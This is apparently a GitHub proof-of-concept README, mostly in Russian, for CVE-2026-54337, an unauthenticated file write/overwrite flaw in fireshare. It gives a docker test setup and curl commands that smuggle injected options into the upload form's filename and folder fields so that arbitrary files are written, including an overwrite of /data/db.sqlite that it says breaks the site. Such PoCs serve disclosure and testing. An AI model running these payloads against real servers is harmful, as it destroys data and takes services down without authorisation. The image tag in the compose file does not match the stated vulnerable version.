4qu4r1um/cve-2026-54337-pocCVE-2026-54337 - Неаутентифицированная запись/перезапись файлов PoC для fireshare <= 1.16.3
CVE-2026-54337 - Неаутентифицированная запись/перезапись файлов в fireshare <= 1.16.3 PoC
Для получения дополнительной информации обратитесь к этому уведомлению Github
docker-compose.yml для тестированияservices:
fireshare:
container_name: fireshare-temp
image: shaneisrael/fireshare:1.6.13-lite
ports:
- "8082:80"
# Ephemeral storage (discarded when container stops)
tmpfs:
- /data
- /processed
- /videos
- /images
environment:
- ADMIN_USERNAME=admin
- ADMIN_PASSWORD=admin123
- SECRET_KEY=fireshare-super-secret-random-key
- DOMAIN=
- PUID=1000
- PGID=1000
restart: unless-stopped
.mp4, например$ echo 123 > test.mp4
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=<FILE TO OVERWRITE/WRITE> -select_streams v.mp4" \
-F "folder=testfolder -o <DIRECTORY TO PUT THE FILE>" \
http://<URL>/api/upload/public
Например, чтобы перезаписать /data/db.sqlite, измените команду следующим образом
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=db.sqlite -select_streams v.mp4" \
-F "folder=testfolder -o data" \
http://<URL>/api/upload/public
nginx, который имеет доступ только к /data, /processed, /images и /videos, поэтому вы можете записывать/перезаписывать только там/data/db.sqlite имеет наибольшее влияние, так как сделает сайт неработоспособным